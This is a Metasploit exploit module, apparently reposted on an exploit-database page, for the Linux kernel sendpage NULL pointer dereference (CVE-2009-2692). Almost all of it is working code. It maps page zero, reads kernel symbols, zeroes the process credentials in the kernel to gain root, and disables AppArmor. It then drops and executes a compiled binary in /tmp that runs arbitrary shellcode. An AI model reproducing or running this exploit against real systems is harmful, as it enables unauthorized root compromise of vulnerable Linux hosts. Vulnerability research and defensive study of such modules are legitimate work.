Linux Kernel Sendpage Local Privilege Escalation



EKU-ID: 2476 CVE: 2009-2692 OSVDB-ID:
Author: egypt Published: 2012-07-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/linux/priv'
require 'msf/core/exploit/local/linux_kernel'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/local/unix'

#load 'lib/msf/core/post/file.rb'
#load 'lib/msf/core/exploit/local/unix.rb'
#load 'lib/msf/core/exploit/local/linux.rb'
#load 'lib/msf/core/exploit/local/linux_kernel.rb'

class Metasploit4 < Msf::Exploit::Local
	Rank = GreatRanking

	include Msf::Exploit::EXE
	include Msf::Post::File
	include Msf::Post::Common

	include Msf::Exploit::Local::LinuxKernel
	include Msf::Exploit::Local::Linux
	include Msf::Exploit::Local::Unix

	def initialize(info={})
		super( update_info( info, {
				'Name'          => 'Linux Kernel Sendpage Local Privilege Escalation',
				'Description'   => %q{
					The Linux kernel failed to properly initialize some entries the
					proto_ops struct for several protocols, leading to NULL being
					derefenced and used as a function pointer. By using mmap(2) to map
					page 0, an attacker can execute arbitrary code in the context of the
					kernel.

					Several public exploits exist for this vulnerability, including
					spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c.

					All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
					2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4
				},
				'License'       => MSF_LICENSE,
				'Author'        =>
					[
						'Tavis Ormandy',                     # discovery
						'Julien Tinnes <julien at cr0.org>', # discovery
						'spender',                           # wunderbar_emporium.tgz
						'rcvalle',                           # sock_sendpage.c
						'egypt'                              # metasploit module
					],
				'Platform'      => [ 'linux' ],
				'Arch'          => [ ARCH_X86 ],
				'SessionTypes'  => [ 'shell', 'meterpreter' ],
				'References'    =>
					[
						[ 'CVE', '2009-2692' ],
						[ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ],
						[ 'URL', 'http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz' ],
					],
				'Targets'       =>
					[
						[ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
						#[ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ],
					],
				'DefaultTarget' => 0,
				'DisclosureDate' => "Aug 13 2009",
			}
			))
	end

	def exploit
		sc = Metasm::ELF.new(@cpu)
		sc.parse %Q|
			#define DEBUGGING
			#define NULL ((void*)0)
			#ifdef __ELF__
				.section ".bss" rwx
				.section ".text" rwx
				.entrypoint
			#endif
			call main
			;push eax
			call exit
		|

		# Set up the same include order as the bionic build system.
		# See external/source/meterpreter/source/bionic/libc/Jamfile
		cparser.lexer.include_search_path = [
			"external/source/meterpreter/source/bionic/libc/include/",
			"external/source/meterpreter/source/bionic/libc/private/",
			"external/source/meterpreter/source/bionic/libc/bionic/",
			"external/source/meterpreter/source/bionic/libc/kernel/arch-x86/",
			"external/source/meterpreter/source/bionic/libc/kernel/common/",
			"external/source/meterpreter/source/bionic/libc/arch-x86/include/",
		]

		cparser.parse(%Q|
			#define DEBUGGING
			// Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h
			#ifndef __extension__
			#define __extension__
			#endif
			// Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h
			// Doing #if on an undefined macro is fine in GCC, but a parse error in
			// metasm.
			#ifndef __STDC__
			#define __STDC__ 0
			#endif
			#include <sys/types.h>
			#include <sys/mman.h>
			#include <stdarg.h>
			#include <stdio.h>
			#include <unistd.h>
			#include <errno.h>
			/*
			OpenBSD's strcmp from string/strcmp.c in bionic
			*/
			int
			strcmp(const char *s1, const char *s2)
			{
				while (*s1 == *s2++)
					if (*s1++ == 0)
						return (0);
				return (*(unsigned char *)s1 - *(unsigned char *)--s2);
			}
		|)

		[
			"external/source/meterpreter/source/bionic/libc/bionic/__errno.c",
			"external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c",
			"external/source/meterpreter/source/bionic/libc/stdio/stdio.c",
			"external/source/meterpreter/source/bionic/libc/unistd/mmap.c",
			# This parses without any trouble, but actually calling perror() causes
			# immediate segfaults.
			#"external/source/meterpreter/source/bionic/libc/unistd/perror.c",

			# For some ungodly reason, NULL ends up being undefined when parsing this
			# guy, which of course causes parse errors.
			#"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c",

		].each do |fname|
			print_status("Parsing c file #{fname}")
			cparser.parse(File.read(fname), fname)
		end

		print_status("Unix socket.h")
		unix_socket_h(sc)
		current_task_struct_h(sc)

		case target.arch.first
		when ARCH_X86
		print_status("syscall wrappers")
			linux_x86_syscall_wrappers(sc)
			main = %q^
#ifdef __x86_64__
#define PTR_FMT "0x%016x"
#else
#define PTR_FMT "0x%08x"
#endif

#define NULL ((void*)0)
#define DOMAINS_STOP -1
const int domains[] = {
	PF_BLUETOOTH,
	PF_APPLETALK,
	PF_IPX,
	PF_IRDA,
	PF_X25,
	PF_AX25,
	PF_BLUETOOTH,
	PF_PPPOX,
	DOMAINS_STOP
	};

int *apparmor_enabled;

int got_ring0 = 0;
unsigned long uid, gid;

static unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[256];
	int ret;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL) {
			printf("Unable to obtain symbol listing!\n");
			return 0;
		}
	}

	ret = 0;
	while(ret != EOF) {
		ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf(" [+] Resolved %s to %p\n", name, (void *)addr);
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	return 0;
}


static void
change_cred(void)
{
	unsigned int *task_struct;

	task_struct = (unsigned int *)current_task_struct();

	while (task_struct) {
		if (task_struct[0] == uid && task_struct[1] == uid &&
				task_struct[2] == uid && task_struct[3] == uid &&
				task_struct[4] == gid && task_struct[5] == gid &&
				task_struct[6] == gid && task_struct[7] == gid) {
			task_struct[0] = task_struct[1] =
			task_struct[2] = task_struct[3] =
			task_struct[4] = task_struct[5] =
			task_struct[6] = task_struct[7] = 0;
			break;
		}

		task_struct++;
	}

	return;
}

int __attribute__((regparm(3)))
own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{

	got_ring0 = 1;
	if (apparmor_enabled && *apparmor_enabled) {
		*apparmor_enabled = 0;
	}
	change_cred();
	return -1;
}

const char *shellcode =
"";
int shellcode_size = 0;

int main() {
	int i = 0;
	int d;
	int in_fd, out_fd;
	char *mapped;
	char template[] = "/tmp/sendfile.XXXXXX";
	int (*func)();

	uid = getuid(), gid = getgid();

	mapped = mmap(NULL , 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	if (mapped == NULL) {
		printf("Mapped zero page!\n");
	} else {
		exit(1);
	}

	// jmp dword near [dword 0x8]
	mapped[0] = '\xff';
	mapped[1] = '\x25';
	*(unsigned long *)&mapped[2] = 8;
	*(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel;

	for (i = 0; i < 16; i++) {
		printf("\\\\x%02x", (unsigned char)mapped[i]);
	}
	printf("\n");

	for (d = 0; domains[d] != DOMAINS_STOP; d++) {
		//printf("Next domain ... ");
		out_fd = socket(domains[d], SOCK_DGRAM, 0);
		if (out_fd > 0) {
			printf("Got domain[%d]\n", d);
			break;
		}
		if (out_fd < 0) {
			printf("out_fd: %d, Errno: %d\n", out_fd, errno);
			exit(1);
		}
	}
	unlink(template);
	// Couldn't get mkstemp to work, just use open(2) for now
	in_fd = open(template, O_CREAT | O_RDWR, 0777);
	printf("Opened temp file: %d\n", in_fd);
	unlink(template);
	printf("Calling ftruncate\n");
	ftruncate(in_fd, 4096);

	printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0);
	printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096);
	sendfile(out_fd, in_fd, NULL, 4096);
	printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0);
	printf("UID: %d GID: %d\n", getuid(), getgid());

	func = mmap(NULL, 0x1000,
			PROT_READ | PROT_WRITE | PROT_EXEC,
			MAP_PRIVATE | MAP_ANONYMOUS,
			0, 0
		);
	mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
	// weaksauce memcpy so we don't have to #include <string.h>
	printf("Copying %d bytes of shellcode\n", shellcode_size);
	for (i = 0; i < shellcode_size; i++) {
		(char)func[i] = (char)shellcode[i];
	}
	printf("Calling shellcode: 0x%p\n", func);
	//sigtrap();
	func();

	return got_ring0;
}
^
			main.gsub!(/shellcode =/) do
				# split the payload into 16-byte chunks and dump it out as a
				# hex-escaped C string
				%Q|shellcode =\n"#{payload.encoded.scan(/.{,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"|
			end
			main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
			cparser.parse(main, "main.c")

			asm = cpu.new_ccompiler(cparser, sc).compile

			sc.parse asm
		end

		sc.assemble

		begin
			if sc.kind_of? Metasm::ELF
				elf = sc.encode_string
			else
				foo = sc.encode_string
				elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
			end
		rescue
			print_error "Metasm Encoding failed: #{$!}"
			elog "Metasm Encoding failed: #{$!.class} : #{$!}"
			elog "Call stack:\n#{$!.backtrace.join("\n")}"
			return
		end

		#puts Rex::Text.to_hex_dump(foo)
		File.open("payload.bin", "wb") {|fd|
			fd.write elf
		}
		print_status "Writing exploit executable (#{elf.length} bytes)"
		cmd_exec("rm /tmp/sendpage")
		write_file("/tmp/sendpage", elf)
		output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage")
		output.each_line { |line| print_debug line.chomp }
		#cmd_exec("rm /tmp/sendpage")

	end

end